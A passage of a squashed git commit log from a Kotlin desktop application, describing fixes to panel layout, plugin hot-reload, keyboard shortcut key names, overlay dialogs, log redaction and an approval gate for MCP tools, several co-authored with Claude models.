integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding 